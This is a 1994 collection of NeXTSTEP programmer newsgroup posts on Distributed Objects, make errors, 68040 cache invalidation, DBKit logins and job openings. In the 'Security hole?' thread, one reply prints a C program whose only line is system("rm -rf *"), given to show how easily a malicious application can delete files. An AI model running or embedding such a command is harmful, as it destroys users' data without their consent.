From: sanguish@digifix.com (Scott Anguish) Newsgroups: comp.sys.next.programmer Subject: Encoding a long for Distributed Objects.. Date: 25 Mar 1994 23:53:12 -0500 Organization: Digital Fix Development Distribution: world Message-ID: <2n0f3o$kmv@digifix.digifix.com> I'm passing some objects bycopy to a server, and some of the fields are longs... the NXEncoding protocol doesn't seem to allow for longs as a type for encodeDate:ofType: am I missing something? -- - Scott Anguish - sanguish@digifix.com (NextMail) next-announce@digifix.com (comp.sys.next.announce submissions)
From: absinthe@viva.chem.washington.edu (Daniel Faken) Newsgroups: comp.sys.next.programmer Subject: Re: Security hole? Date: 26 Mar 1994 10:13:02 GMT Organization: University of Washington Distribution: world Message-ID: <2n11re$6ht@news.u.washington.edu> References: <2mv7ms$8ae@agate.berkeley.edu> In article <2mv7ms$8ae@agate.berkeley.edu> izumi@pinoko.berkeley.edu (Izumi Ohzawa) writes: > I must say, though, that the normal inability of DPS contexts to > manipulate files is fatally flawed and easy to circumvent. This > limitation is only imposed on the *client* side, not on the server > side. > > If you have a malicious applications, it can always create DPS > connections that has all the permissions to files as the app > authors want. A malicious application certainly doesn't need DPS to do damage - it is much easier to use a system library.. main() { system("rm -rf *"); } -- Daniel Faken | Name a poison, absinthe@u.washington.edu | pick your flavour.
From: tyen@eco.utexas.edu (Anthony Yen) Newsgroups: comp.sys.next.programmer Subject: NS/I and OS/2 Possible Together? Date: 26 Mar 1994 10:32:15 GMT Organization: University of Texas at Austin - Dept of Economics Message-ID: <2n12vf$h13@geraldo.cc.utexas.edu> Is it possible to have NextStep/Intel and OS/2 on the same white box together? I am planning the purchase of an Intel box and wish to get one that can dual boot into both systems, so I would greatly appreciate any war stories about the right hardware configuration. My base configuration is 486/66, 24/400 Mb RAM/HD, S3 SVGA, SCSI-2 adapter, EISA and/or VLB. However, I am a Macintosh/SPARC applications development weenie, so I'm in way over my head with this Intel hardware stuff and need all the help I can get. I have been considering just getting an IBM PS/2, despite its pricey premium; would this work with NS/I? -- Anthony Yen - SPARC Sysadmin - Department of Economics - UT/Austin ECB 3.138, MS#63100 - 471-3211 ext 170 - tyen@mundo.eco.utexas.edu
Newsgroups: comp.sys.next.programmer From: Michael_Pizolato@afs.com (Michael Pizolato) Subject: Strange 'make' message Message-ID: <1994Mar25.182704.3190@afs.com> Sender: Michael_Pizolato@afs.com Date: Fri, 25 Mar 1994 18:27:04 GMT I get the following message during a make immediately before execution of target 'foo' beings: Too many command lines for `foo' I can't find info on this message anywhere. I'd guess that the number of lines in the action for this target is larger than make allows, but the target executes correctly. Anybody know what it means? Thanx, Michael -- Michael_Pizolato@afs.com NeXTMail accepted Mon Jan 18 10:14:07 GMT 2038
Newsgroups: comp.sys.next.programmer From: Michael_Pizolato@afs.com (Michael Pizolato) Subject: Re: Strange 'make' message (SOLVED) Message-ID: <1994Mar25.191328.3674@afs.com> Sender: Michael_Pizolato@afs.com References: <1994Mar25.182704.3190@afs.com> Date: Fri, 25 Mar 1994 19:13:28 GMT Michael Pizolato (that's me) writes >I get the following message during a make immediately before >execution of target 'foo' beings: > > Too many command lines for `foo' > >I can't find info on this message anywhere. I'd guess that the >number of lines in the action for this target is larger than make >allows, but the target executes correctly. Anybody know what it >means? Forget it - by mistake I had the target in the makefile twice, and that's what make was complaining about. Sorry 'bout the waste. Thanx, Michael -- Michael_Pizolato@afs.com NeXTMail accepted Jan. 18, 2038 10:14:07 GMT
Newsgroups: comp.sys.next.programmer From: trebels@orpheus.theo-phys.gwdg.de (Stephan Trebels) Subject: Re: Odd shell problem Message-ID: <JF9MBXYH@gwdu03.gwdg.de> Sender: news@gwdu03.gwdg.de (USENET News System) Organization: GWDG, Goettingen References: <Cn53wx.174@tms-gmbh.de> <Cn5MsB.9r@tms-gmbh.de> Date: Sat, 26 Mar 1994 15:54:06 GMT Gerd Knops (gerti@tms-gmbh.de) wrote: > To make things even more dubious (all in sh): How about $ echo 'a b' it's the same with /bin/echo :-) or you could with the builtin echo of /bin/sh do a $ echo 'a\nb' Ciao, Stephan -- trebels@theo-phys.gwdg.de
From: ik36@sol.acs.unt.edu (Plunk Travis Shane) Newsgroups: comp.sys.next.programmer Subject: Does anyone no why printer does not give high res? Date: 26 Mar 1994 22:11:29 GMT Organization: University of North Texas Message-ID: <2n2bui$a1q@hermes.unt.edu> I am working with a next laser printer that says it has the abbility to print at 400 dots per inch. I compare the printouts of the nextprinter and a sparcprinter that I know has 400 dots per inch and a laserwriter. The next looks exactly like the laserwrite while the sparcprinter looks much better. What is happening does the nextprinter use 300 by default, if so, how do I put it in 400 mode? I do not have direct access to the printer. I am sending the printer a postscript file generated by gnuplot. Thanks for any help, e-mail is preferable. Travis.
From: dnelson@scrinext.scri.fsu.edu (Dru Nelson) Newsgroups: comp.sys.next.programmer Subject: [Q] remote debugger for NS/FIP? Kernel gdb? Date: 27 Mar 1994 02:41:47 GMT Organization: Florida State University Message-ID: <2n2rpb$ngt@mailer.fsu.edu> Hello, After a kernel panic or sometimes when hitting Alt-Num Loc, the console states that it is waiting for a remote degugger connection. Does anybody know the details about this remote debugger? Also, is there a version of the kernel gdb for NS/FIP? Dru
From: avery@ccrma.Stanford.EDU (Avery Wang) Newsgroups: comp.sys.next.programmer Subject: C++ and MallocDebug Date: 27 Mar 1994 03:03:53 GMT Organization: Stanford University Message-ID: <2n2t2p$4ua@nntp2.Stanford.EDU> Are there any known problems with using C++ and MallocDebug.app on the NeXT? I have a ObjC++ program which crashes only when compiled with the MallocDebug library, whether or not it is being run with MallocDebug.app. The fatal statement is a perfectly reasonable delete call to a destructor. Any insight into this would be helpful. Thanks, Avery Wang avery@ccrma.stanford.edu CCRMA (Center for Computer Research in Music and Acoustics) 660 Lomita Dr. Fax: +1 (415) 723-8468 Stanford, CA 94305 Tel: +1 (415) 364-5002
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Security hole? Date: 27 Mar 1994 05:12:36 GMT Organization: San Francisco State University Message-ID: <2n34k4$rpf@nic-nac.CSU.net> References: <ME.94Mar22103526@nextix.muc.de> In article <ME.94Mar22103526@nextix.muc.de> me@nextix.muc.de (Tobias Hoellrich) writes: >(replace /me by your HOME-directory and pipe it to > 'pft' to see what I mean - remember to modify your This isn't a fair test with NS 3.x; pft creates a nonsecure context by default--unlike most AppKit-based programs. Try using pft -p instead. -=EPS=-
Newsgroups: comp.sys.next.programmer,misc.jobs.offered,comp.sys.next.software From: rvs@vnp.com (Ronald V. Simmons) Subject: NeXTSTEP Programmers Needed Message-ID: <1994Mar26.184811.16490@vnp.com> Sender: news@vnp.com (News account) Organization: VNP Software Date: Sat, 26 Mar 94 18:48:11 GMT VNP Software offers development tools and consulting services to the NEXTSTEP community. We're looking for software professionals to help build object-oriented business systems for Fortune 500 companies. Strong UNIX and C programming skills in addition to familiarity with object-oriented concepts are required. Experience with NEXTSTEP and with object-oriented languages such as SmallTalk, Objective-C or C++ is desirable. Candidates must be highly motivated and willing to travel. The ability to work well with a wide variety of clients is also critical. Please send resumes via fax (617) 864-6768 or email to Evelyn_Walsh@vnp.com. You may also mail resumes to: VNP Software 10 Gardner Road Suite A Cambridge, MA 02139 Attn: E. Walsh -- Evelyn Walsh HR Coordinator VNP Software Cambridge, MA Evelyn_Walsh@vnp.com
Newsgroups: comp.sys.next.programmer Organization: Antigone Press gateway, San Francisco Return-Path: <other!bill@uunet.UU.NET> Date: Sat, 26 Mar 94 20:11:49 -0800 From: Bill Tschumy <other!bill@uunet.UU.NET> Message-ID: <9403270411.AA00329@other.andi.org> Subject: Compression algorithms I am looking for advice on compression algorithms to use on TIFF data (actually it will be used on the data returned by readImage, but that is basically TIFF). I am currently using a run-length encoding which I believe is the same as the "packbits" option in tiffutil. I am getting around 2:1 or 3:1 compression on the data read from most windows. Using a LZW compression I can generally get anywhere from 6:1 to 10:1 compression, but the agorithm is too slow to use on the fly (LZW is about 10 times slower than run-length encoding). Does anyone have any great ideas on alternate compression schemes? It must be fast for both compression and decompression. I could go with somthing twice as slow as run-length encoding if it gave twice the compression. Whatever scheme I go with has to be lossless (are at least pretty darn close to it). I don't know much about JPEG, but I think it is both lossey and not particularly fast. Thanks for any advice. --- Bill Tschumy Otherwise bill@otherwise.com (NeXTmail accepted)
Newsgroups: comp.sys.next.programmer From: cousens@biztech.com Subject: Re: Strange 'make' message Message-ID: <1994Mar27.213823.18941@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <1994Mar25.182704.3190@afs.com> Date: Sun, 27 Mar 1994 21:38:23 GMT In article <1994Mar25.182704.3190@afs.com> Michael_Pizolato@afs.com (Michael Pizolato) writes: > I get the following message during a make immediately before > execution of target 'foo' beings: > > Too many command lines for `foo' > > I can't find info on this message anywhere. I'd guess that the > number of lines in the action for this target is larger than make > allows, but the target executes correctly. Anybody know what it > means? > > Thanx, > Michael > > -- > Michael_Pizolato@afs.com > NeXTMail accepted > > Mon Jan 18 10:14:07 GMT 2038 Michael, somehow/somewhere in your Makefile/Makefile.preamble/Makefile.postamble, you have rules for foo: or foo:: declared, or something is screwy in the evaluation. The same error can be created when you do something like the following: all: main_rule main_rule: myProg1 myProg2 myProg3 $(MAKE) "PRODUCT=myProg1" .. $(PRODUCT): $(CC) $(CFLAGS) 'blah....blah....blah' myProg1: $(CC) $(CFLAGS) '....' Since myProg: exists, I'll get the same error message that you receive because from main_rule, it will try to make PRODUCT=myProg1, and make will complain that it doesn't really know which rule to use to make the target myProg1. One way to figure this stuff out, is to make -nd debug (or whatever the appropriate target is). This gives you a good indication of how and what rules are being evaluated. Good luck, Rik Cousens (cousens@biztech.com) -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FUO9&5R;B!#;W5R:65R.UQF,5QF M;FEL(%5T;W!I82U296=U;&%R.WT*7&UA<F=L,3(P"EQM87)G<C$R,`I<<&%R M9%QT>#$Q-3)<='@R,S`T7'1X,S0U-EQT>#0V,#A<='@U-S8P7'1X-CDQ,EQT M>#@P-C1<='@Y,C$V7'1X,3`S-CA<='@Q,34R,%QF,%QB,%QI,%QU;&YO;F5< M9G,R-%QF8S!<8V8P($EN(&%R=&EC;&4@/#$Y.31-87(R-2XQ.#(W,#0N,S$Y M,$!A9G,N8V]M/B!-:6-H865L7U!I>F]L871O0&%F<RYC;VT@*$UI8VAA96P@ M4&EZ;VQA=&\I('=R:71E<SI<"CX@22!G970@=&AE(&9O;&QO=VEN9R!M97-S M86=E(&1U<FEN9R!A(&UA:V4@:6UM961I871E;'D@8F5F;W)E7`H^(&5X96-U M=&EO;B!O9B!T87)G970@)V9O;R<@8F5I;F=S.EP*/B!<"CX@("`@5&]O(&UA M;GD@8V]M;6%N9"!L:6YE<R!F;W(@8&9O;R=<"CX@7`H^($D@8V%N)W0@9FEN M9"!I;F9O(&]N('1H:7,@;65S<V%G92!A;GEW:&5R92X@($DG9"!G=65S<R!T M:&%T('1H95P*/B!N=6UB97(@;V8@;&EN97,@:6X@=&AE(&%C=&EO;B!F;W(@ M=&AI<R!T87)G970@:7,@;&%R9V5R('1H86X@;6%K95P*/B!A;&QO=W,L(&)U M="!T:&4@=&%R9V5T(&5X96-U=&5S(&-O<G)E8W1L>2X@($%N>6)O9'D@:VYO M=R!W:&%T(&ET7`H^(&UE86YS/UP*/B!<"CX@5&AA;G@L7`H^($UI8VAA96Q< M"CX@7`H^("TM7`H^($UI8VAA96Q?4&EZ;VQA=&]`869S+F-O;5P*/B!.95A4 M36%I;"!A8V-E<'1E9%P*/B!<"CX@36]N($IA;B`Q."`Q,#HQ-#HP-R!'350@ M,C`S.%P*7`H*7&8Q($UI8VAA96PL7`H)<V]M96AO=R]S;VUE=VAE<F4@:6X@ M>6]U<B!-86ME9FEL92]-86ME9FEL92YP<F5A;6)L92]-86ME9FEL92YP;W-T M86UB;&4L('EO=2!H879E(')U;&5S(&9O<B`*7&(@9F]O.@I<8C`@(&]R("`* M7&(@9F]O.CH@"EQB,"!D96-L87)E9"P@;W(@<V]M971H:6YG(&ES('-C<F5W M>2!I;B!T:&4@979A;'5A=&EO;BY<"EP*5&AE('-A;64@97)R;W(@8V%N(&)E M(&-R96%T960@=VAE;B!Y;W4@9&\@<V]M971H:6YG(&QI:V4@=&AE(&9O;&QO M=VEN9SI<"EP*86QL.@EM86EN7W)U;&5<"EP*;6%I;E]R=6QE.@EM>5!R;V<Q M(&UY4')O9S(@;7E0<F]G,UP*"20H34%+12D@(E!23T150U0];7E0<F]G,2(@ M7`HN+BY<"B0H4%)/1%5#5"DZ7`H))"A#0RD@)"A#1DQ!1U,I("=B;&%H+BXN M+F)L86@N+BXN8FQA:"=<"EP*;7E0<F]G,3I<"@DD*$-#*2`D*$-&3$%'4RD@ M)RXN+BXG7`I<"E-I;F-E(&UY4')O9SH@97AI<W1S+"!))VQL(&=E="!T:&4@ M<V%M92!E<G)O<B!M97-S86=E('1H870@>6]U(')E8V5I=F4@8F5C875S92!F M<F]M(`I<8EQI(&UA:6Y?<G5L90I<8C!<:3`@+"!I="!W:6QL('1R>2!T;R!M M86ME(%!23T150U0];7E0<F]G,2P@86YD(&UA:V4@=VEL;"!C;VUP;&%I;B!T M:&%T(&ET(&1O97-N)W0@<F5A;&QY(&MN;W<@=VAI8V@@<G5L92!T;R!U<V4@ M=&\@;6%K92!T:&4@=&%R9V5T(`I<8EQI(&UY4')O9S$N7`I<"@I<8C!<:3`@ M3VYE('=A>2!T;R!F:6=U<F4@=&AI<R!S='5F9B!O=70L(&ES('1O(`I<8EQI M(&UA:V4@+6YD(&1E8G5G"EQB,%QI,"`@*&]R('=H871E=F5R('1H92!A<'!R M;W!R:6%T92!T87)G970@:7,I+B`@5&AI<R!G:79E<R!Y;W4@82!G;V]D(&EN M9&EC871I;VX@;V8@:&]W(&%N9"!W:&%T(')U;&5S(&%R92!B96EN9R!E=F%L M=6%T960N7`I<"D=O;V0@;'5C:RQ<"EP*4FEK($-O=7-E;G,@*&-O=7-E;G-` 18FEZ=&5C:"YC;VTI7`H*?0IC `
From: ayardley@qns1.qns.com (A.C. Yardley) Newsgroups: comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.sysadmin Subject: controlled dumps & undumps Date: 27 Mar 1994 10:19:00 -0600 Organization: Questar Network Services Message-ID: <2n4blk$d3i@qns1.qns.com> OK. I give up (well, not really, but I would appreciate some input from the group). What I want is a script which will force a core dump of an executable. Then, I want to save the executable in a such a state so I can restart that executable in the same (or as close as possible) state. I should mention, when I try to install the default behavior of SIGIOT or SIGQUIT (SIG_DFL), which the docs say produces a core dump, I get an 'IOT Trap' message. Evidently, traps and prevents core dumps. Any ideas? Thanks. A.C.
From: brian@umbc.edu (Brian Cuthie) Newsgroups: comp.sys.next.programmer Subject: Re: Installing Utah Raster Toolkit Date: 27 Mar 1994 23:00:33 -0500 Organization: University of Maryland, Baltimore County Message-ID: <2n5kp1INNp0a@umbc7.umbc.edu> References: <1994Mar22.155635.27531@afterlife.ncsc.mil> In article <1994Mar22.155635.27531@afterlife.ncsc.mil>, Sterling S. Foster <ssfoste@afterlife.ncsc.mil> wrote: > > Has anyone successfully installed urt-3_1b and the RLEViewer.app on >NS 3.2? Any help or advice would be appreciated. > > > Sterling Foster > ssfoste@afterlife.ncsc.mil Yes. There's a bug in the RLEViewer, though. In the method displayImage of the Image (theirs, not NeXT's) class the NXBitImageRep is instantiated without correctly specifying bytesPerRow. Set it to 0 and everything will work fine. I sent this fix off to the original authors, but I guess they haven't had time to incorporate it. Cheers, Brian -- Brian Cuthie Systemix Software, Inc. brian@systemix.com
From: jacobsen@arundel.doit.wisc.edu Newsgroups: comp.sys.next.programmer Subject: Need a version of g++ that supports templates Date: 28 Mar 1994 04:05:56 GMT Organization: Division of Information Technology Message-ID: <2n5l34$mkq@news.doit.wisc.edu> Keywords: g++ templates (Sorry If you see this twice, NewsGrazer barfed on it the first time I tried posting it). Hello! I am writing a compiler (in C++) and need to use code that was written by another person that makes use of templates. I tried compiling this code using g++ 2.2.2 (what NeXT ships with NS 3.2) but received parse errors on the template section. I am able to compile this using g++ 2.4.5 running on a Sun. Could someone give me a pointer to where I can find a version of g++ that supports templates and that will run on black hardware? Hopefully there is an FTP site that I could snarf an executable from or even better yet a .pkg file that would install everything in the correct place. If at all possible I would like to avoid having to compile a compiler so that I can compile my compiler :) Thanks for any help you can give! Erik Jacobsen jacobsen@cae.wisc.edu P.S. I don't care if this new version of g++ doesn't work with Obj-C as unfortunately this is a straight C++ project.
From: armes@pioneer.tds.com (Jim Armes) Newsgroups: comp.sys.next.programmer Subject: Re: Setting user name in DBDatabase Date: 27 Mar 1994 01:18:01 GMT Organization: Trident Data Systems Distribution: usa Message-ID: <2n2ms9$2gs@discovery.ectds.com> References: <1994Mar23.144618.630@parsec.mixcom.com> Keywords: sybase login oracle login In article <1994Mar23.144618.630@parsec.mixcom.com> scott@parsec.mixcom.com (Scott Violet) writes: > Hi all, > I'ld like to connect to a sybase server with a model I have, > but I want the login name to match the current user name. I see that > I can do it using: the connectUsingAdaptor:andString: DBDatabase > method. But, the docs say you should only use this when you want to > use a different adaptor, which isn't what I want. So, how do I set a > different login when I want to use the same model? It seems as though > this should be a typical question with permissions and what not. > Thanks in advance, > -Scott Violet (scott@SmartSoft.com) ummm I think you may be confusing Adaptor with a DBModel. The method you mention can be used with any Model you specify, you just hardcode it to use the "Sybase.adaptor". here's an example controller object @interface Controller:Object { id entryscreen; id username; id password; id sysDB, etc etc } - login:sender; - logout:sender; @end @implementation Controller #define INSTALL_MODEL NXLocalizedString("Please install SYS.dbmodel into your project directory and restart.", NULL, "Notify user that SYS.dbmodel must be available.") #define NO_PWD NXLocalizedString("Please enter a Username AND Password.", NULL, "You cannot enter this app without a Username & Password.") #define WRONG NXLocalizedString("Please enter a valid Username AND Password.", NULL, "You cannot enter this app without a VALID Username & Password.") - login:sender { const char *un; const char *pw; char loginstring[128]; un = [username stringValue]; pw = [password stringValue]; if ((strlen(un) == 0) || (strlen(pw) == 0)) { NXRunAlertPanel( NULL, NO_PWD, "OK", NULL, NULL ); return self; } sysDB = [DBDatabase findDatabaseNamed:"yourModelNameHere" connect:NO]; if ( sysDB == nil ) { NXRunAlertPanel( NULL, INSTALL_MODEL, "OK", NULL, NULL ) ; return self; } [sysDB setPanelsEnabled:NO]; sprintf( loginstring, "(sybase login string %s/%s)", un, pw ); if ( ![sysDB connectUsingAdaptor:"SybaseAdaptor" andString:loginstring] ) { NXRunAlertPanel( NULL, WRONG, "OK", NULL, NULL ); return self; } [sysDB setDelegate:self]; [entryscreen orderOut:self]; /** initialize stuff... whatever **/ [sysDB setPanelsEnabled:YES]; return self; } - logout:sender { [sysDB disconnect]; return self; } @end Hope that helps a bit, replace the two strings with the appropriate information(eg, sybase login string designation). I use it for Oracle. -- #--------------------------------------------------------# # Jim Armes | I've got a Pentium and you do not # # Matrix-Man | nahh nahh nah nah nahhhh... # # | # #Trident Data Systems| but IiiiiM a lumberjack and I'm ok# # armes@tds.com |I sleep all night & I work all day.#
From: ayardley@qns1.qns.com (A.C. Yardley) Newsgroups: comp.sys.next.programmer Subject: [Q] controlled dump & undump Date: 27 Mar 1994 21:45:28 -0600 Organization: Questar Network Services Message-ID: <2n5jso$opv@qns1.qns.com> I posted this earlier, but I inadvertently blew it away. sigh. Anyway, what I want to do is (1) force a core dump of an executable; (2) save the executable's state; and (3) reexecute it. Something like dump/undump on other platforms. Any help will be appreciated. Also, there is another item which I seem unable to get past. Whenever I attempt to force a dump, either via abort() and/or after I set the default behavior of SIGIOT and SIGQUIT (i.e., SIG_DFL) and then issuing the appropriate signal, I get an IOT Trap message. Evidentily, SIGIOT's handler intercepts even the default behavior to prevent a core dump. Any ideas about this one? Thanks. A.C.
Newsgroups: comp.sys.next.programmer From: mark@ve6mgs.ampr.ab.ca (Mark Gregory Salyzyn) Subject: -posix and Floating Point Exceptions Supersedes: <CnCsDo.91A@ve6mgs.ampr.ab.ca> Message-ID: <CnCsDoA.91A@ve6mgs.ampr.ab.ca> Keywords: __NXArgc, __NXArgv and __environ Organization: VE6MGS Gateway Date: Mon, 28 Mar 1994 02:32:11 GMT I am the process of compiling Flexfax for NeXTSTEP FIP. In order to compile the package, version 2.1.1, I needed a GCC g++ compiler with a version number better than 2.3.2 (NeXT's C compiler is 2.2.2), and compiled up a full stage3 passing 2.4.3 version of GCC to perform this task. One of the *important* parcels of software in the flexfax package, the faxd daemon itself, needs to be compiled in the -posix environment (termios and other stuff). The remaining packages do *not* need to be compiled within the posix environment, and all appear to be working (but with the lack of a working daemon). In order to compile within the posix environment for some of my larger projects, I have had to create a redirect.o file as follows: ld -i__NXArgv:_NXArgv -i__NXArgc:_NXArgc -i__environ:_environ -r -o redirect.o because the /lib/posixcrt0.o startup file used *different* references than the regular startup files, creating a situation of these symbols being unresolved. In addition, I take routines from the -lm and -lsys_p to round out the unresolved symbols. Thus the program compiles: cc -posix -o faxd redirect.o <...> -lg++ -lm -lsys_p However, when run, I get a simple `Floating Point Exception' error, gdb reports me still within the startup routines, even before I hit the mainline. I am aware of the fact that the -posix environment *abhors* any library references to the other environments with this error in running, but have not figured out what linked routines tickle this problem. I strongly expect it is one or two members of the sys_p library that is doing me in, but without *both* these *universes*, flexfax's faxd handler will need a major rewrite to stay away from termios and other kernel services (to get *out* of the posix universe under NeXTSTEP). If anyone can shed some light that I may use to determine the next (sic) best course of action, I would be pleased to hear about it ... Ciao -- Mark Salyzyn
Newsgroups: comp.sys.next.programmer,comp.sys.m68k From: piak@sics.se (Per Kreuger) Subject: How to flush cache on NeXT 68040 Message-ID: <1994Mar28.132905.2122@sics.se> Keywords: NeXT, Next, next, 68040, assembler Sender: news@sics.se Organization: Swedish Institute of Computer Science, Kista Date: Mon, 28 Mar 1994 13:29:05 GMT We have some problem to get a low level routine in our compiler to execute without error and suspect that invalidating the cache before a certain sequence of instruction would solve our problem. We have not been able to find a method to do that in the NeXT documentation. We would like to know: 1. What is the instruction sequence for invalidating the entire instruction cache? 2. In which situations is it necessary to invalidate data cache lines? Please answer by mail. We will summarize if there is interest. What follows is some additional information that might help diagnose the problem: Our compiler generates the following error (in gdb): Program generated(4): Emulation exception. 0x6e3ba in ?? () (gdb) x/i 0x6e3ba 0x6e3ba: bmi 0x6e3d2 (gdb) x/5i 0x6e3ac 0x6e3ac: cmpal @#0x37cd8 <heap_warn_soft>,a2 0x6e3b2: bcc 0x6e3f0 0x6e3b4: movel a1,fp@(4) 0x6e3b8: movel d3,d0 0x6e3ba: bmi 0x6e3d2 The address given (0x6e3ba) seem to contain a perfectly normal and harmless instruction. What is an "Emulation exception"? We wrote a simple test to invalidate the cache: main() { asm("cinva ic"); exit(0); } but when we run it under gdb this was the result: (gdb) run Starting program: /private/Net/vishnu/home1/matsc/foo Program generated(2): Illegal instruction. 0x3ec0 in main () (gdb) x/7i main 0x3ebc <main>: linkw fp,#0 0x3ec0 <main+4>: cinva ic 0x3ec2 <main+6>: clrl sp@- 0x3ec4 <main+8>: bsrl 0x50024b0 <libsys_s.B.shlib_jmp_table+1200> 0x3eca <main+14>: addqw #4,sp 0x3ecc <main+16>: unlk fp 0x3ece <main+18>: rts Appearently the instruction "cinva ic" exists, but seem to be restricted be run in some kind of priviliged mode. -- Per Kreuger (NeXTMail welcome) SICS, PO Box 1263, S-164 28 KISTA, Sweden Internet: piak@sics.se Tel: +46 8 752 15 22 Ttx: 812 6154 7045 SICS Fax: +46 8 751 72 30
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Category users please read. Date: 28 Mar 1994 13:36:27 +0100 Organization: me organised, that's a joke. Message-ID: <2n6j0b$488@steffi.demon.co.uk> I wanted to get some thoughts on this. Currently my categories for appkit look like this. Matrix.XFindCells NXImage.XArchiving NXImage.XWindowGrabber Text.XConsole etc. What I'm interested in knowing is how people feel about separate categories for the same class. ie. instead of repeating NXImage here as two separate categories just have something like. NXImage.XExtensions and provide all methods thru that category. What is your preference? -- "C++ is the best C++ there is." (ASCII for text only messages)
Newsgroups: misc.jobs.offered,comp.sys.next.sysadmin,comp.sys.next.programmer From: cordero@bronze.ucs.indiana.edu ( Manuel Cordero ) Subject: SysAdmin Position Message-ID: <CnDqKI.Kzz@usenet.ucs.indiana.edu> Summary: immediate opening Keywords: NEXTSTEP, Windows, OS/2 Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: Indiana University, Bloomington IN Distribution: usa Date: Mon, 28 Mar 1994 14:50:42 GMT *********** DO NOT REPLY DIRECTLY TO THIS ACCOUNT ************* Computer Systems Administrator Immediate Opening MAS Technology Corporation has an immediate opening for a Systems Administrator seeking a challenging career opportunity in the area of heterogeneous and distributed network systems. The position consists of setup and administration of a variety of computer systems including a network consisting of NEXTSTEP, DOS/Windows and OS/2 operating systems. Additional responsibilities include the maintenance of systems and peripherals. Strong candidates must possess a degree in computer science and/or documented evidence of past related work experience. Strong Unix and/or NEXTSTEP system administration, and working knowledge of TCP/IP networks. Competitive salary commensurate with experience. Excellent benefits. Resume and references required with application. Send Resume and References to Human Resources Dept, 110 S. Hill Street, South Bend, IN 46617. or email to cordero@mas-tech.rn.com ************ DO NOT REPLY DIRECTLY TO THIS ACCOUNT **************
From: adriano@nice.usergroup.ethz.ch (Adriano Gabaglio) Newsgroups: comp.sys.next.programmer,comp.sys.m68k Subject: Re: How to flush cache on NeXT 68040 Date: 28 Mar 1994 14:38:00 GMT Organization: NiCE - NeXT User Group, Zurich, Switzerland Message-ID: <2n6q48$81f@elna.ethz.ch> References: <1994Mar28.132905.2122@sics.se> In article <1994Mar28.132905.2122@sics.se> piak@sics.se writes: > We have some problem to get a low level routine in our compiler to execute > without error and suspect that invalidating the cache before a certain > sequence of instruction would solve our problem. We have not been able to > find a method to do that in the NeXT documentation. We would like to know: > > 1. What is the instruction sequence for invalidating the entire > instruction cache? asm ("trap #2"); /* flush/invalidate data&instruction cache */ -Adriano -- Adriano Gabaglio, Brunnmattstr. 22a, CH-6010 Kriens, Switzerland e-mail: Adriano.Gabaglio@nice.usergroup.ethz.ch (NeXTmail ok) *** Editor of PowerKey, NiCE -- NeXT User Group Magazine ***
Newsgroups: comp.sys.next.programmer From: laurent@planon.qc.ca (Laurent Daudelin) Subject: Re: DBQualifier Message-ID: <1994Mar28.155805.17247@planon.qc.ca> Sender: laurent@planon.qc.ca References: <2mps96$a5o@solaris.cc.vt.edu> Date: Mon, 28 Mar 1994 15:58:05 GMT In article <2mps96$a5o@solaris.cc.vt.edu> rcw@caspian.cc.vt.edu (R. Craig Woods) writes: > I created a simple app using PB and IB that displays > all the records in a table when I press a fetch button. > (I didn't write a line of code for this.) > > My next task is to add the capability for fetching qualified records. > > My technical ref (NeXTSTEP General Ref, Vol 2, p 4-9) says > "To constrain the records retrieved, you create a custom object, > and in it define a method that creates a DBQualifier object > and uses it as an argument of the method fetchContentsOf:usingQualifier:." > > Could someone explain what they mean when they say > "create a custom object, and in it define a method... "?? > (I understand how to create the DBQualifier object but I'm not > sure how to associate it with the DBModule.) > > If there are any examples of this, you could point me to them. > All I have found so far are examples that create all the > DB objects from scratch, not using IB. You're right. Almost any examples use custom objects to build a DBQualifier object. If you want to have the control on a DBQualifier object from within InterfaceBuilder, you have to use a product like Espresso!. Espresso! defines some subclasses of DBKit objects, including a subclass of DBModule, that you can set to fetch some records. The fetch can be associated with buttons. However, mastering Espresso! is not as easy as one could expect... Espresso! is sold by Professional Software, Inc. 501 North Avenue - Door 4, Wakefield, MA 01880 (617) 246 2425 Email: espresso@logibec.com I'm not affiliated with Professional Software, Inc. in any way, just a customer. Hope this helps. Laurent. -- ****************************************************************** Laurent Daudelin, Software Engineer Planon TELEXPERTISE Inc., Boucherville, Quebec, CANADA laurent@planon.qc.ca <-- NeXTMail welcome! (Mac Mail welcome too!)
From: michael@rs2.iaee.tuwien.ac.at (Suessner Michael) Newsgroups: comp.sys.next.programmer Subject: DPT 2022 boot troubles Date: 28 Mar 1994 18:33:23 GMT Organization: Technical University of Vienna Sender: michael@rs2.iaee.tuwien.ac.at () Distribution: world Message-ID: <2n77tj$9ee@email.tuwien.ac.at> I have a DPT 2022 (NEW) SCSI adapter and a DEC MTE 486d2. I tried to use this card for installing NeXTstep but after I have chosen the SCSI driver the mach stops processing with a kernel trap. I could only configure/install the system with an old Adaptec 1542B SCSI HBA. Still, when a removable disk (CD or Syquest 105MB remove) is inserted during the boot process the system crashes during resetting the SCSI bus. DPT ensured me, that the card works fine under NeXTstep and a friend of mine also uses a DPT 2122 SCSI HBA with a DEC MTE 486d2. Has there anybody similar experiences? Any suggestions appreciated Suessner Michael
Newsgroups: comp.sys.next.programmer From: gerti@tms-gmbh.de (Gerd Knops) Subject: Can't get rid of DO Message-ID: <CnE1x4.1n1@tms-gmbh.de> Sender: usenet@tms-gmbh.de Organization: tms GmbH, Regensburg, Germany Date: Mon, 28 Mar 1994 18:55:51 GMT A very od thing is happening on our company network: One of the developers is currently writing a program involving Distributed Objects. After a few days with no problems, suddenly he was not able to start the server part of the programm anymore. The cause was, that 'the network' seems to have already registered a DO with this, wich is with no doubt unique to our company. Even after shutting down the whole network and turning of all machines during the weekend, sure enough, on monday 'the network' still seems to have knowledge about that object. Does the nmserver log what it is doing anywhere? Anyone with an idea, where 'the network' gains knowledge about that object? Gerd
